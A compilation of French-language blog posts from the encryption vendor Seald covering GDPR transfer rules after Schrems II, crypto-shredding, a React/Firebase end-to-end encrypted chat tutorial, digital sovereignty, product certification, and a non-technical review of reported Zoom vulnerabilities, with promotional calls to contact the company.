L'exportateur peut vouloir traiter les données personnelles par des techniques dites de multi-party computation ou de secret réparti. Le principe dans les deux cas est le même : diviser les données personnelles en plusieurs morceaux avant transfert, transférer chaque morceau dans des juridictions différentes et reconstituer les données seulement dans l'EEE.

L'EDPB considère le transfert comme conforme aux conditions suivantes :

1. la technique de division des données est faite de telle sorte qu'il ne doit pas être possible d'attribuer à partir d'une seule partie des données les personnes auxquelles elles correspondent, ce même en utilisant des sources ouvertes ou des sources fermées disponibles des autorités de chaque juridiction de destination ;
2. la technique de division utilisée est robuste contre des attaques actives ;
3. les données sont envoyées dans des juridictions différentes,
4. il a été démontré qu'aucune collusion, collaboration ou entraide d'aucune sorte n'est possible entre les autorités de chaque juridiction qui pourrait entrainer l'attribution des données aux personnes auxquelles elles correspondent ;
5. les données (et les éventuels résultats de multi-party computation) ne sont reconstituées qu'intra-EEE.

Conclusion 🔥

Les recommandations de l'EDPB sont particulièrement rigoureuses, notamment dès lors qu'il s'agit de chiffrement, ce que je salue tout particulièrement.

Il s'agit d'un des premiers documents normatifs — à ma connaissance — qui distingue correctement la portée des différentes techniques de chiffrement (en transit, au repos, de bout-en-bout) que nous expliquions dans notre livre blanc.

Par ailleurs, les scénarios d'attaque contre lesquels l'EDPB contraint les entreprises à se défendre sont très poussées et demandent une réelle expertise aux entreprises souhaitant transférer des données, notamment face à des acteurs gouvernementaux (américains) particulièrement visés dans ce document.

Cela témoigne à mon sens d'une maturité certaine du régulateur européen en matière de souveraineté numérique (pourtant souvent dénoncé pour sa naïveté en la matière).

Si vous cherchez à implémenter des mesures supplémentaires similaires à celles décrites ci-dessus, n'hésitez pas à nous contacter 👋 !

Contexte 🗣

Le RGPD prévoit au chapitre V qu'un transfert de données personnelles hors de l'Espace Économique Européen ne peut être effectué que si des garanties appropriées sont mises en place et à la condition que les personnes concernées disposent de droits opposables et de voies de droit effectives.

Pour faciliter les transferts avec les États-Unis, une décision d'adéquation (tel que définie à l'article 45 du RGPD) avait été prise après négociation du Privacy Shield. Elle avait pour but d'assurer ces garanties et de donner aux personnes concernées ces droits opposables et ces voies de droit effectives.

Cependant, à la suite d'une procédure juridique engagée par Maximilian Schrems en 2013 contre Facebook, la CJUE a statué que le Privacy Shield n'assurait pas ces garanties parce que la législation américaine octroie à ses services de renseignement le droit d'accéder aux données hors de toute procédure européenne.

"Transfert" ➡

Un "transfert" au sens de l'article 46 du RGPD est plus large que ce que l'on pourrait imaginer. Il s'agit de tout transfert de données personnelles auprès d'une entité :

🟢 qui n'opère pas au sein de l'EEE (Espace Économique Européen);
🟢 dont un sous-traitant n'opère pas au sein de l'EEE ;
🟢 dans laquelle des personnes situées hors de l'EEE ont la capacité d'accéder aux données (par exemple, pour effectuer du support).

Le troisième point est particulièrement contraignant : si un employé, situé aux États-Unis, de votre hébergeur a la capacité technique de se connecter à vos serveurs hébergés dans l'EEE, cela constitue un "transfert".

FISA 702, Cloud Act, etc. ⚖️

Plusieurs législations différentes encadrent les capacités polémiques de la justice et des services de renseignement américains. Celle qui a été utilisée par la CJUE dans cette décision est la section 702 du Foreign Intelligence Surveillance Act modifiée par l'amendement de 2008.

FISA 702 📄

L'article 50 USC § 1881a (introduit par la section 702 de FISA ajoutée par l'amendement de 2008) force les hébergeurs Cloud à fournir aux services de renseignement américains les données qu'ils contrôlent, stockent ou gèrent, ainsi que les clés de chiffrement permettant leur déchiffrement, concernant les personnes à surveiller (non américaines et non résidentes aux États-Unis).

Le FISA section 702 n'a pas de visée extra-territoriale, c'est-à-dire qu'il n'est applicable qu'auprès d'entreprises opérant sur le territoire américain.

En revanche, si ces entreprises ont la capacité d'accéder à distance à des serveurs hébergés dans l'EEE, alors les données qui y sont stockées peuvent être saisies au titre de FISA section 702. C'est pourquoi la définition de "transfert" couvre cette éventualité.

CLOUD Act ☁️

Le CLOUD Act passé en 2018, modifie le Stored Communications Act pour permettre son applicabilité extra-territoriale. Elle permet ainsi aux instances de justices américaines d'émettre un mandat de perquisition contraignant les fournisseurs de Cloud américains (y compris si ces données sont hébergées hors des États-Unis, par exemple, en France) à fournir toutes les données d'un individu, sans qu'aucune autorisation ne soit demandée à la justice du pays dans lequel se situent l'individu ou les données.

Aucune décision par des instances européennes portant sur les conséquences du CLOUD Act sur le RGPD n'a été émis pour le moment, mais il est arguable que la sous-traitance auprès d'entreprises soumises au Cloud Act constitue un transfert, même si l’hébergement est fait dans l’EEE. Il faudrait dès lors mettre en œuvre des mesures complémentaires pour assurer la conformité du "transfert".

SCC & mesures supplémentaires 💪

La Cour de Justice européenne a confirmé que l'utilisation de Clauses Types (Standard Contractual Clauses ou SCC en anglais) de gré à gré entre l'exportateur et l'importateur était valide.

Cependant, ces SCC ne suffisent pas seules à garantir la conformité du "transfert". Il faut ajouter des mesures supplémentaires pour faire en sorte que ce "transfert" apporte aux personnes concernées des garanties équivalentes à celles qu'il aurait sans effectuer ce transfert.

C'est pourquoi l'European Data Protection Board a émis des recommandations concernant ces mesures supplémentaires à appliquer, comme du chiffrement.

Si aucune combinaison de mesures supplémentaires ne peut permettre d'aboutir à des garanties équivalentes à une sous-traitance intra-EEE, il faut cesser le transfert.

Concrètement 🔥

On ne peut pas sous-traiter de façon naïve auprès d'entreprises américaines, il faut pour chaque sous-traitance :

• utiliser des SCC comme outil juridique de transfert ;
• adopter des mesures supplémentaires pour atteindre un niveau de garanties sur les données équivalent à une sous-traitance intra-EEE.

Si vous cherchez à implémenter des mesures supplémentaires comme du chiffrement dans votre entreprise, contactez-nous !

Difficulté de la destruction de données

La destruction de données est un enjeu majeur dans les règlementations sur la protection des données comme le RGPD dans le cadre de l'exercice du droit des personnes à l'effacement.

Lorsqu'une entreprise exerce le droit à l'effacement d'une personne, elle doit effectuer une recherche dans l'ensemble des bases de données, dans l'ensemble du stockage objet ou plat, tous les journaux (et leurs sauvegardes) pour retrouver toutes les occurrences d'une donnée, et les supprimer.

Toute personne ayant déjà été confronté à une telle requête saura que ce n'est pas évident :

• il est difficile, voire impossible, de supprimer une donnée contenue dans une sauvegarde (sans compter les sauvegardes effectuées silencieusement par les hébergeurs) ;
• une même donnée est souvent répliquée sous différentes formes dans l'infrastructure ;
• la suppression dans une base de données relationnelle peut déclencher une cascade de suppressions involontaires ;
• etc.

Intérêt

Le crypto-shredding change l'angle d'approche sur le problème : au lieu de rechercher / cataloguer toutes les versions d'une donnée à travers toute l'infrastructure, on centralise le problème sur une clé de chiffrement pour toutes les versions d'une donnée.

Lors de la première collecte d'une donnée, on la chiffre avec une clé individuelle gérée de façon centralisée. La donnée chiffrée est stockée, sauvegardée, répliquée normalement, à chaque utilisation on la déchiffre, et dès que l'on en produit une nouvelle version, on la chiffre avec cette même clé.

Lorsque l'on voudra supprimer la donnée, nul besoin de se lancer dans des fouilles archéologiques, il suffit de détruire la clé de chiffrement, dont la gestion est centralisée.

Principe de fonctionnement

Si la clé de chiffrement permettant de déchiffrer une donnée est détruite et qu'il n'en existe pas de copie, cela empêche toute personne de déchiffrer la donnée. C'est ce que l'on appelle le crypto-shredding d'une donnée.

La donnée originale ne pourrait alors être reconstituée qu'en "cassant" le chiffrement, ce qui avec des algorithmes modernes et robustes est jugé impossible. Si "casser" le chiffrement était possible sur un algorithme donné, on jugerait alors l'algorithme utilisé comme vulnérable et il faudrait cesser de l'employer.

Ainsi, le crypto-shredding d'une donnée équivaut, en termes de risque de fuite de données, à la suppression de la donnée.

Limites

Trois limites existent avec le crypto-shredding :

• si le chiffrement est mal implémenté (par exemple, en utilisant des algorithmes vulnérables) le crypto-shredding d'une donnée n'équivaudrait pas à sa suppression ;
• le crypto-shredding ne supprimant pas les données chiffrées, les données chiffrées continueraient alors de prendre de l'espace disque ;
• il faut gérer des clés pour chaque donnée et effectuer des opérations de déchiffrement à chaque utilisation ce qui nécessite une gestion de clés bien organisée.

Le Seald-SDK permet d'effectuer du crypto-shredding fin sur les données chiffrées, n'hésitez-pas à contacter nos équipes pour en savoir plus !

Aujourd'hui, découvrons comment développer une petite application de chat avec React Hooks, Firebase et un nouveau paquet nommé Seald ! 🔥

Le chiffrement de bout en bout peut être complexe et coûteux à re-développer, bien qu'il soit essentiel de protéger les données confidentielles que vos applications traitent. Avec le SDK de Seald, nous effectuons un chiffrement de bout-en-bout sur les données stockées, produites ou reçues par vos applications.

Prenons un exemple avec une application de chat ! 💪

Structure de notre application de chat 🧰

Vous trouverez ci-dessus une démo de notre application de chat en React, avec un système de chiffrement de bout en bout, comprenant plusieurs fonctionnalités :

🟢 Créer une salle ;
🟢 Ajouter/supprimer des utilisateurs d'une salle ;
🟢 Modifier une salle ;
🟢 Inscription / Connexion ;
🟢 Gestion du status utilisateur ;
🟢 Chiffrer et déchiffrer un message.

Les principaux outils sont :

Firebase, un paquet qui nous permet de créer un système d'authentification permanente, de sauvegarder nos messages chiffrés dans une base de données et de les recevoir instantanément lorsqu'un utilisateur poste un nouveau message.

React qui sera notre bibliothèque frontend pour effectuer et concevoir des vues simples pour chaque état dans notre application.

Seald, la bibliothèque clé en main que nous utiliserons pour apporter le chiffrement de bout en bout 🔐 au chat.

Système d'authentification 👨‍💻

Seulement 3 routes pour notre application de chat avec authentification. Inscription, connexion et gestion des salles.

Nous définissons si les routes sont autorisées pour les utilisateurs authentifiés ou non.

Dérivation de mot de passe 🔏

Normalement, nous envoyons le mot de passe à Firebase en clair, puis Firebase l'obtient grâce à une fonction sécurisée telle que SCRYPT afin d'éviter qu'il ne figure dans la base de données.

Dans notre cas, nous voulons empêcher Firebase de pouvoir lire le mot de passe, même s'il n'est pas stocké, car nous allons l'utiliser pour protéger l'identité de Seald de bout en bout (même de Firebase).

Pour ce faire, nous faisons la même opération que Firebase, mais avant de le donner à Firebase : nous dérivons le mot de passe avec une fonction sécurisée (SCRYPT) et l'utilisons ensuite comme mot de passe.

Inscription 👤

Afin de créer un utilisateur dans cette application, un simple formulaire contenant 3 champs est suffisant :

Rien de très compliqué dans le code. Nous demandons à Firebase de créer une authentification via un e-mail et un mot de passe fourni par l'utilisateur.

Nous ajoutons également quelques informations sur l'utilisateur, comme le nom et l'URL d'une photo.

Ensuite, nous ajoutons la couche d'application Seald pour créer nos futurs messages chiffrés.

Connexion 👤

Ensuite, la connexion. Un formulaire classique (email / mot de passe) afin d'accéder aux salles et de pouvoir discuter avec d'autres utilisateurs.

Même chose que pour l'enregistrement. Nous récupérons l'authentification Firebase de l'utilisateur et de son compte Seald.

Les salles de discussions 👨‍👩‍👦‍👦

C'est de là que vient la partie intéressante.

Sur cette application, il est possible de discuter en 1 à 1 avec un autre utilisateur, mais aussi de discuter avec un groupe d'utilisateurs dans un espace personnalisé (une salle).

Créer une salle de discussion 🧸

Détaillons ensemble ce code :

• Tout d'abord, nous envoyons les données du formulaire à Firebase. Le nom de la salle et les utilisateurs sélectionnés sont requis.
• Ensuite, nous créons une session sécurisée en utilisant le SDK de Seald. Cela permettra de chiffrer et de décrypter un message pour cette salle de discussion.
• Enfin, nous voulons envoyer le premier message chiffré pour souhaiter la bienvenue aux utilisateurs de cette salle.

Envoyer des messages chiffrés 🔏

Maintenant, chattons ! N'oubliez pas que nous voulons un chiffrement de bout en bout pour les messages.

Avant chaque message créé, nous devons vérifier si nous disposons d'une session Seald authentifiée. Si ce n'est pas le cas, créez cette session avec le SDK 🔒.

Ensuite, la session nous permet de chiffrer un string, qui est notre message.

Alice 👩 envoie un message à Bob 👨

"Bonjour mon ami"

Nous appelons la méthode encrypt pour notre message ci-dessus :

Le message deviendra :

{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}

Maintenant, Bob 👨(et les autres utilisateurs de la salle) doivent déchiffrer le message d'Alice 👩. Comment faire ?

Déchiffrer les messages 🔐

Maintenant que nous savons comment envoyer un message chiffré, voyons comment récupérer un message instantanément et le décrypter pour les autres utilisateurs.

Nous utilisons l'événement value pour lire nos messages, tels qu'ils existaient au moment de l'événement. Cette méthode est déclenchée une fois lorsque l'évènement est instancié ainsi qu'à chaque fois que les données, y compris les enfants, changent.

Pour en savoir plus sur la lecture et l'écriture de données avec Firebase 📂

Nous récupérons notre liste de messages à chaque fois qu'un message est ajouté. Ainsi, un message chiffré est affiché, mais nous devons maintenant être en mesure de le décrypter :

Bob 👨 voit actuellement :

{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}

Nous appelons la méthode decrypt pour notre message chiffré ci-dessus :

Bob 👨 voit maintenant :

"Bonjour mon ami"

Nous avons maintenant un chat en temps réel avec un système de chiffrement de bout en bout 💪.

Note: Pour utiliser le SDK de Seald, rendez-vous sur seald.io.

Voilà

À bientôt !

Au-delà de l’agriculture ou du secteur pharmaceutique, où nous voulons désormais maintenir une production en France (ou a minima en UE) par souci de souveraineté, même si elle est moins compétitive que la concurrence étrangère, qu'en est-il de notre souveraineté numérique ? Nous donnons-nous les moyens d'exploiter souverainement "le pétrole du 21ᵉ siècle" : nos données ?

On part de loin

Notre partenaire Cabsis détaillait récemment dans son article “Comment la France va perdre la souveraineté de ses données de santé” (que je vous recommande de lire) comment nous venons de déléguer à nos amis américains l'hébergement de notre base de santé SNDS (Système National des Données de Santé). En cause ici : aucun éditeur français n'était capable de répondre entièrement au cahier des charges.

Absurde mais vrai : nous fixons des règles pour protéger notre patrimoine informationnel, mais ces règles favorisent en réalité la puissance de frappe des éditeurs étrangers.

Ce n'est pas surprenant lorsque l'on sait que 75 % des 70 milliards d'euros dépensés chaque année dans le numérique en France vont dans la poche d'acteurs non-européens. Pour la souveraineté de nos données de santé, on repassera donc.

Cela veut-il pour autant dire que la partie est finie ?

Tel un chef de guerre tentant de fédérer les peuples gaulois face à la menace ennemie, le collectif PlayFrance lançait il y a 3 mois un appel (à lire d'urgence également) afin de mobiliser les acteurs du numérique français et éveiller la conscience des pouvoirs publics à ce sujet.

De beaux résultats déjà ; le plus marquant étant certainement la décision de l'APHP de s'affranchir des services de Palantir durant la crise sanitaire. Seald est d'ailleurs fier de figurer parmi les 300 éditeurs de solutions au service de la souveraineté numérique française (cf cartographie).

Le sujet n'est pas nouveau : Bruno Le Maire en parlait déjà en février 2019, bien avant que le sujet ne revienne au premier plan par la force des choses. "Il n'y a pas de souveraineté politique sans souveraineté technologique" déclarait notre Ministre de l'Économie.

S'il s'agit bien d'un enjeu majeur, reconnu comme tel par nos dirigeants, pour l'heure peu d'entreprises technologiques majeures fleurissent en France, ni même à l'échelle européenne, comparables aux géants américains sur la partie logicielle ou comparable aux géants chinois sur la partie matérielle.

Tout est une question de priorisation

Comme nous le rappelions dans notre article du 26 juin “Le chiffrement de bout-en-bout : comment utiliser du Cloud en restant souverain”, il n'est pas nécessaire de couper totalement les ponts avec nos partenaires commerciaux. Prenons l'exemple des GAFAM américains : chez Seald nous défendons la possibilité de s'appuyer sur du cloud américain tout en ne laissant pas la possibilité à ces derniers de nous espionner.

L'idée est simple : lorsque vous louez un appartement, ce n'est pas pour que votre propriétaire ait les clés pour débarquer chez vous à l'improviste, ni même qu'il puisse surveiller vos moindres faits et gestes via un dispositif de vidéo-surveillance.

C'est pourtant ce que permettent de nombreuses organisations françaises en déléguant les yeux fermés la gestion de la confidentialité de leurs données à des sociétés américaines qui vous promettent que chez eux, "tout est crypté". C'est évidemment sans compter le Cloud Act et les lourdes suspicions qui pèsent sur l'exploitation des services de renseignements américains, non pas pour la lutte anti-terroriste, mais à des fins d'espionnage et de déstabilisation économique. Citons par exemple les programmes PRISM ou XKeyscore où la NSA avait déjà accès aux données de tous les géants du numérique dès 2013. Comme on dit outre-atlantique : "America first".

Certains voudraient ne plus dépendre du tout d’acteurs étrangers, et avoir des équivalents européens de toute entreprise américaine. C’est la politique chinoise : Baidu remplace Google, TikTok remplace SnapChat, Huawei remplace Cisco, etc. Faire la même chose en France ou en UE est inenvisageable, ce serait s’interdire d’exporter et retourner en arrière de 20 ans en informatique.

À défaut de cette politique ultra-protectionniste irréaliste, un entre-deux serait de favoriser les entreprises européennes sur les marchés publics européens. Cela permettrait à nos startups d’aujourd’hui de devenir les licornes de demain (rappelons que la France compte aujourd'hui 15 fois moins de licornes qu'aux États-Unis et 6 fois moins qu'en Chine) et de continuer à exploiter la puissance d’hébergeurs étrangers en prenant des précautions telles que du chiffrement, comme le propose Seald, pour maintenir une souveraineté sur les données.

La tendance semble se confirmer : le Privacy Shield vient d'être invalidé par la Cour de Justice de l'Union Européenne qui a justement jugé que ce n'était pas un "bouclier" pour protéger les données des ressortissants européens. Au niveau français, Jean Castex annonçait lors de sa première déclaration de politique générale à l'Assemblée nationale ce 15 juillet un plan de 40 milliards en faveur de la souveraineté industrielle de la France.

La souveraineté numérique : mode passagère ou tendance de fond ? L'avenir nous le dira. Mais de solides bases sont en train d'être posées.

Lorsque Seald a été créée en 2016, nous avions déjà la volonté de faire certifier nos solutions pour démontrer le sérieux de nos solutions. Fin 2019, nous avons pris la décision de démarrer ce processus, et aujourd'hui nous pouvons vous l'annoncer.

Périmètre

Ce processus commence tout d'abord par le choix du périmètre à évaluer. Chez Seald, nos solutions sont nombreuses et variées pour couvrir un maximum de cas d'usage. Il serait donc irréaliste de tout certifier, surtout que la certification ne vaut que pour une version donnée, et pas les mises à jour qui suivent.

Nous avons donc décidé de certifier ce que l'on appelle le Seald-SDK qui est une bibliothèque de code en Javascript qui est utilisée dans toutes nos solutions, notamment dans l'application de bureau, l'application mobile et la version en ligne de commande de Seald.

Cible

Une fois le périmètre établi, nous avons défini formellement contre quelles menaces nous souhaitions nous prémunir : la cible de sécurité. Sur ce sujet, nous proposons nos solutions sur étagère, mais elles s'appuient toutes sur un serveur, qui est proposé en Cloud ou on-premise.

Pour être très strict, nous avons donc décidé de considérer ce serveur comme pouvant être compromis et de prouver que, malgré cette hypothèse, la confidentialité des éléments protégés avec Seald n'était pas mise à mal. C'est pourquoi la certification ne porte que sur la partie "client" de la technologie Seald : le Seald-SDK.

Cette cible inclut la majeure partie des mécanismes cryptographiques associés à la technologie Seald pour lesquels nous avons fourni un document de fournitures cryptographiques détaillant les algorithmes utilisés et la façon dont Seald gère les clés, l'ajout de droits a posteriori, le multi-appareils, etc.

Elle a été rédigée en collaboration avec le CESTI que nous avons mandaté pour évaluer le produit : Synacktiv, que nous remercions grandement pour leur professionnalisme et leur disponibilité.

Contactez nos équipes pour une démonstration.

Better Seald than sorry.

Les événements récents mettent le chiffrement bout-en-bout sur le devant de la scène : Zoom a racheté Keybase pour proposer du chiffrement de bout-en-bout, Doctolib utilise désormais cette même technologie sur les données médicales, Les Assises de la Sécurité placent Olvid et Seald en finale de leur Prix de l'Innovation… Venant de leaders de leur catégorie, ces actions et positionnements ne sont plus des signaux faibles, mais bel et bien le signe d’un changement de paradigme. L’occasion donc de faire la lumière sur ce qui distingue le chiffrement vulgarisé du chiffrement bout-en-bout, et de s’intéresser à la souveraineté promise par cette technologie lorsqu’elle est appliquée à la puissance du Cloud.

“Chez moi tout est crypté”

Si la plupart des services offrent une forme de chiffrement, ils ne sont pas forcément « sécurisés » pour autant. Pour en avoir le cœur net, il est primordial de questionner la gestion des autorisations : qui peut gérer ou accéder aux clés de déchiffrement ? Plus la réponse est large ou indéterminée, moins la sécurité est fine.

La promesse « chez moi, tout est crypté » est donc souvent faite de façon abusive. Il ne faut pas se laisser leurrer par les hébergeurs Cloud eux-mêmes, tout chiffrement n'est pas du chiffrement de bout-en-bout. Beaucoup de fournisseurs jouent de ce flou et affirment que "c'est chiffré" sans autre forme de procès.

Aujourd'hui, tout utilise du chiffrement, mais cela ne protège pas de toutes les menaces : l’article que vous lisez actuellement, par exemple, est rendu accessible grâce à une connexion chiffrée, mais n’importe qui peut le lire (et c'est parfaitement normal)...

Alors, qu'est-ce que le vrai chiffrement de bout-en-bout ?

Le chiffrement de bout-en-bout intègre une notion forte et déterminante de gestion des autorisations de déchiffrement. Concrètement, il permet de protéger un message (texte ou fichier), en s'appuyant sur des algorithmes de chiffrement, adressé par une personne A à une personne B. Ce procédé s’assure qu'aucun intermédiaire (hébergeur, fournisseur de service ou  gouvernement, etc.) n’est en mesure de lire ou de déchiffrer le contenu.

C’est pas nouveau...

Depuis 2013 et les révélations d'Edward Snowden sur l'espionnage de masse réalisé par les États-Unis, le chiffrement de bout-en-bout est graduellement déployé dans des applications de messagerie grand public : Signal et Telegram en 2014, WhatsApp en 2016, etc.

Son adoption dans le monde professionnel était cependant plus timide jusqu'il y a peu, alors même que des outils sont disponibles (S/MIME ou PGP par exemple).

De notre côté, nous avons créé Seald dans cette même dynamique, peu après que WhatsApp se soit lancé.

... mais le Covid-19 accélère l’adoption des usages

La crise du Covid-19 n'a fait que renforcer le besoin urgent pour les entreprises de devenir pleinement numériques. Permettant le maintien de l’activité dans des conditions dégradées, à distance, l’adoption de solutions de travail hébergées dans le Cloud, est devenue une question de survie.

Pourtant, au même moment, le débat sur la souveraineté des données, l’application du RGPD, la crainte du Cloud Act, la vendetta contre les GAFA, etc. connaissent un momentum. Certains parlent même de construire un Cloud souverain ! C'est pourtant une bataille que beaucoup diront perdue d'avance en Europe. AWS, Azure, Google Cloud ou même Office 365 et GSuite sont devenus des commodités, imbattables en termes de prix, utilisées à tous les niveaux, dans tous les types d’organisation. Si les utiliser revient à mettre la souveraineté de ses données en danger, ne pas le faire génère un handicap colossal.

Réconcilier l’inconciliable : associer Cloud et chiffrement bout-en-bout

Dans ces circonstances, le chiffrement de bout-en-bout présente des avantages majeurs. Il permet en effet de continuer à utiliser le meilleur fournisseur de Cloud en toute sécurité, et ce qu'il soit américain, chinois ou européen. Si les données que ce Cloud héberge sont chiffrées de bout-en-bout avec une technologie comme celle de Seald, il n'y a aucun risque de perte de souveraineté sur les données.

L'hébergeur ne dispose d’aucune autorisation et n’a par conséquent pas accès à la compréhension du contenu ! Adossé à une solution de chiffrement bout-en-bout, il n'y a donc plus de scrupule à stocker des données critiques sur AWS ou Azure en Cloud mutualisé.

Connus pour leur positionnement en matière de souveraineté des données, les États-Unis valident la pertinence d’une telle solution lorsque, ce mois-ci, le Sénat voit émerger une énième tentative d’interdiction du chiffrement bout-en-bout avec le projet de loi intitulé Lawful Access to Encrypted Data Act...

Si vous voulez en apprendre plus sur comment protéger vos données dans vos services hébergés en Cloud, contactez-nous !

Comment mettre en place du chiffrement de bout-en-bout ?

Le défi de mettre en place du chiffrement de bout-en-bout est dual : il faut que ce soit parfaitement robuste, et totalement transparent pour les utilisateurs finaux. Concilier ces deux expertises est une tâche difficile, et c'est notre positionnement chez Seald : proposer une protection de bout-en-bout, totalement transparente pour les utilisateurs, et adaptée à vos workflows métier.

Les premières étapes d'un tel projet sont de répondre à ces trois questions :

• Quels sont les éléments que l'on souhaite protéger ? Sachant que tout élément chiffré de bout-en-bout ne pourra plus faire l'objet d'opérations en backend comme de la recherche sur ces éléments.
  
• Qui devra y avoir accès ? Sachant qu'il faut prévoir des accès de secours par un administrateur pour récupérer des clés dans le cas de la perte ou compromission de clés.
  
• Sur quels terminaux, serveurs ou applications ces éléments sont-ils écrits et lus ? Il faut les chiffrer le plus tôt possible et les déchiffrer le plus tard possible. Déterminer d'où les éléments arrivent et jusqu'où ils vont est critique pour faire une protection la plus large possible.

Une fois ces questions balayées peut commencer le travail technique :

• choisir des primitives de cryptographie robustes — Seald utilise des algorithmes recommandés par le RGS de l'ANSSI ;
  
• mettre en place une gestion de clés pour chacun des destinataires — Seald fournit des mécanismes "clés"-en-main ;
  
• intégrer du chiffrement, déchiffrement et authentification à chaque opération dans chacun des terminaux, serveurs et applications — Seald propose des kits de développement intégrables dans tous les systèmes, y compris avec des AD / LDAP ;
  
• mettre en place des mécanismes de récupération pour éviter la perte de donnée — Seald propose un mécanisme de clé de sauvegarde très simple d'utilisation qui respecte le chiffrement de bout-en-bout  ;

Pour vous éviter de faire toutes ces étapes vous-même, Seald peut vous accompagner avec des solutions clé en main ou sur-mesure de chiffrement de bout-en-bout dans vos applications et vos workflows.

Contactez nos équipes pour en savoir plus !

Le plus connu de ceux-ci est sans doute Zoom, le logiciel de visioconférences qui est passé en quelques mois de 10 millions d'utilisateurs à plus de 200 millions. Il cristallise à lui seul une grande partie des espoirs et des inquiétudes concernant le télétravail.

Depuis ce boom de popularité, beaucoup de gens se sont penchés sur la sécurité de ce logiciel, et beaucoup ont annoncé avoir trouvé des failles. Il est cependant difficile pour les non-spécialistes de faire le tri dans ces annonces entre les vrais problèmes qui peuvent les affecter et les articles écrits de façon alarmante pour le "buzz" quand le problème est plus que mineur.

Alors que de nombreuses entreprises se retrouvent à compter dessus pour leur travail quotidien, il est important de savoir ce qu'il en est. Est-ce un logiciel utile ou une faille de sécurité ? Voici l'avis d'experts de la cybersécurité.

Les failles trouvées récemment

Commençons par lister les "failles" trouvées récemment sur Zoom et annoncées dans la presse, en expliquant pour chacune d'elle ce qu'il en est vraiment, et ce que nous en pensons chez Seald.

• "Zoom permet de voler les mots de passe Windows"‌‌‌‌
  En résumé, si l'utilisateur clique sur certains types de liens malveillants, le système peut essayer de s'authentifier automatiquement avec son nom d'utilisateur et le hash de son mot de passe NTLM‌.
  Qu'est-ce que ça signifie pour vous ? Tout d'abord, si vous êtes sur votre ordinateur personnel, vous n'êtes pas concerné. Ceci concerne exclusivement les utilisateurs en entreprise utilisant l'authentification NTLM, et la fonction d'authentification automatique est facilement désactivable.
  Ensuite, en regardant plus attentivement, on se rend compte qu'en fait ce n'est pas une faille de Zoom, mais une faille de Windows, qui décide sans demande explicite de l'utilisateur d'envoyer un hash faible du mot de passe sur un serveur distant. Le vrai reproche devrait être fait à Windows, et non pas à Zoom. Certes, Zoom aurait pu interdire ce type de lien (et c'est ce qu'ils ont fait une fois la "faille" annoncée), mais ce n'est clairement pas l'origine du problème.

• "Zoom permet de pirater votre Mac"
  ‌‌En résumé, il s'agit de 2 failles différentes. La première est que, dans certains cas, l'installeur de Zoom peut être détourné pour qu'un autre logiciel récupère les privilèges root après que l'utilisateur ait entré son mot de passe. La seconde est que Zoom est susceptible à une technique qui s'appelle le dylib proxying, et qui permet à une autre application de "se faire passer" pour Zoom‌.
  Concernant la première, étant donné que le dialogue de demande d'autentification ne mentionne même pas Zoom, un logiciel malveillant s'executant sur l'ordinateur et qui pourrait exploiter cette faille peut tout aussi bien demander lui-même les droits administrateur...‌‌
  Concernant la seconde, elle permet surtout à un logiciel malveillant s'exécutant déjà sur l'ordinateur de "contourner" le système d'autorisation par application de MacOS, et d'accéder par exemple à la webcam ou au micro via l'autorisation de Zoom plutôt que de faire apparaitre un dialogue d'autorisation‌.
  En conclusion, il s'agit certes de vraies failles, mais très mineures puisqu'elles ne peuvent être exploitées que par un logiciel malveillant qui s'exécute déjà sur votre ordinateur. Dans ce cas, c'est bien souvent déjà trop tard... Le point positif est que Zoom a réagi très rapidement, et a comblé ces failles mineures bien plus vite que la moyenne, au point d'être félicité par l'un des chercheurs ayant participé à les trouver.

• "Zoom envoie les données à Facebook"‌‌
  En résumé, l'application iOS de Zoom, à cause d'un problème de configuration, envoyait certaines données à Facebook même si l'utilisateur n'utilisait pas la "Connexion avec Facebook".‌
  En réalité, les données envoyées sont très mineures (un identifiant aléatoire, le fait que l'utilisateur ait ouvert l'application et sa version, le modèle d'iPhone utilisé et sa version, le fuseau horaire...). C'est en effet anormal que Zoom envoie ces données à Facebook, mais cela reste mineur. Zoom n'a jamais envoyé vos conversations à Facebook, seulement ces quelques métadonnées. Surtout, encore une fois, Zoom a réagi extrêmement vite et a modifié son application en moins de 48 h pour ne plus utiliser le SDK Facebook, mais toujours permettre la connexion avec Facebook via le navigateur.
  
• "Le Zoombombing, qu'est-ce que c'est ?" ‌‌
  En résumé, c'est le nom donné au fait que certaines personnes rejoignent des réunions Zoom sans y être invité, et d'y diffuser du contenu de harcèlement, des insultes, des images pornographiques, ...‌‌

Comment s'en protéger ? C'est en fait très simple, il existe plusieurs fonctions de l'application pour s'en protéger : définir un mot de passe pour rejoindre la réunion, le système de salles d'attentes virtuelles, restreindre les personnes pouvant rejoindre la réunion, désactiver le partage d'écran pour les utilisateurs n'étant pas animateurs ... Zoom a publié un article utile pour récapituler toutes les fonctions de sécurité pouvant vous aider à éviter ce souci.

Encore une fois, ce n'est pas une faille de sécurité de l'application. C'est simplement certains utilisateurs qui en connaissent mal le fonctionnement et ne sécurisent pas correctement leurs réunions, ce qui est certes favorisé par cet afflux massif de nouveaux utilisateurs, et par des paramètres par défaut qui favorisent la facilité d'utilisation plutôt que la confidentialité des réunions.

En conclusion, faut-il éviter d'utiliser Zoom ? À notre avis, pas du tout. Zoom est un outil très utile pour le télétravail. Bien entendu, Zoom ne convient pas à des échanges extrêmement confidentiels, et ne serait pas adapté à transmettre des plans de missiles ou de centrales nucléaires, mais pour une utilisation quotidienne au travail, ce n'est pas ce qu'on lui demande. Est-il assez sécurisé pour une utilisation normale ? Oui.

Certes, Zoom a eu par le passé quelques problèmes de sécurité, ceux récents que nous avons cité, ou d'autres (un serveur local non sécurisé, un chiffrement moins solide qu'ils ne le laissaient entendre, des routages d'appels étranges, ...). Ces problèmes sont souvent moins graves que ne laissent l'entendre les titres de presse racoleurs, et la réactivité impressionnante de Zoom pour les résoudre est plus que louable, et surtout rassure énormément sur leur sérieux et l'importance qu'ils accordent à la sécurité, quand certains autres éditeurs laissent trainer des failles plusieurs mois, et d'autres logiciels que vous avez surement sur votre ordinateur ont tellement de failles que les gros titres n'en parlent même plus.

